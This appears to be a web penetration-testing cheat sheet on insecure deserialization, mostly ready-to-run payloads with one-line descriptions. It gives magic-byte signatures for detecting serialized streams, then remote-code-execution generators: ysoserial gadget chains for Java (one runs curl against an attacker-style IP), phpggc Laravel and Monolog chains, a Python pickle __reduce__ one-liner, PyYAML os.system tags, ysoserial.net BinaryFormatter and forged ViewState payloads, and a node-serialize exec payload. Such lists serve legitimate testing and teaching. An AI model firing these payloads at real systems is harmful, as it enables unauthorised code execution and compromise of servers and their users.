web-pentest

Insecure Deserialization

Insecure deserialization across languages — stream fingerprinting, Java ysoserial gadget chains, PHP phpggc + manual objects, Python pickle/PyYAML, .NET ysoserial.net (ViewState/BinaryFormatter), Ruby Marshal and Node node-serialize.

1 views Jun 2026 lazyhackers

Detection & Magic Bytes (5)

rO0AB... (base64) / AC ED 00 05 (hex)

Java serialized object signature

java detect

O:4:"User":1:{...} / a:2:{...}

PHP serialized object / array

php detect

\x80\x04 ... (opcode)

Python pickle stream

python detect

AAEAAAD///// (base64)

.NET BinaryFormatter stream

dotnet detect

\x04\x08 ...

Ruby Marshal data

ruby detect

Java — ysoserial (4)

java -jar ysoserial.jar URLDNS http://YOURID.oast.fun

Detect deserialization with a dependency-free DNS callback

java ysoserial detect

java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0

Generate a CommonsCollections RCE gadget

java ysoserial rce

java -jar ysoserial.jar CommonsBeanutils1 'curl 10.10.14.1' | base64 -w0

BeanUtils gadget (common on Jenkins / Spring apps)

java ysoserial

java -jar ysoserial.jar Spring1 'id' | base64 -w0

Spring gadget chain

java ysoserial

PHP — phpggc & Manual (5)

phpggc -l

List every available PHP gadget chain

php phpggc list

phpggc Laravel/RCE1 system id

Generate a Laravel RCE gadget chain

php phpggc rce

phpggc Monolog/RCE1 system id -b

Monolog gadget, base64 output

php phpggc

O:8:"Example":1:{s:3:"cmd";s:2:"id";}

Hand-craft an object to hit a __wakeup/__destruct gadget

php manual

phar://uploaded.phar/x

Trigger object instantiation via the phar:// wrapper

php phar

Python — pickle / PyYAML (3)

python3 -c 'import pickle,base64,os;print(base64.b64encode(pickle.dumps(type("x",(),{"__reduce__":lambda s:(os.system,("id",))})())).decode())'

Build a base64 pickle RCE payload via __reduce__

python pickle rce

!!python/object/apply:os.system ["id"]

PyYAML RCE via unsafe load / full_load

python yaml rce

!!python/object/apply:subprocess.check_output [["id"]]

PyYAML RCE that returns command output

python yaml

.NET — ysoserial.net (3)

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64

Generate a BinaryFormatter RCE payload

dotnet ysoserial rce

ysoserial.exe -p ViewState -g TextFormattingRunProperties --generator=GEN --validationkey=KEY --validationalg=SHA1 -c "whoami"

Forge a malicious ASP.NET ViewState (leaked machineKey)

dotnet viewstate

Json.NET with $type when TypeNameHandling != None

Abuse polymorphic type handling in Json.NET

dotnet json

Ruby / Node (2)

Marshal.load(payload) — universal Ruby gadget

Ruby 2.x–3.x universal deserialization RCE gadget

ruby marshal rce

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}

node-serialize RCE via an IIFE function

node nodeserialize rce

Insecure Deserialization

Related Articles

JSON and YAML Unsafe Deserialization

Supply Chain Attacks

Cross-Site Scripting Mastery

File Upload to RCE

Advanced SSRF

Related Courses

Web Application Penetration Testing

Bug Bounty Hunting — From Recon to Bounty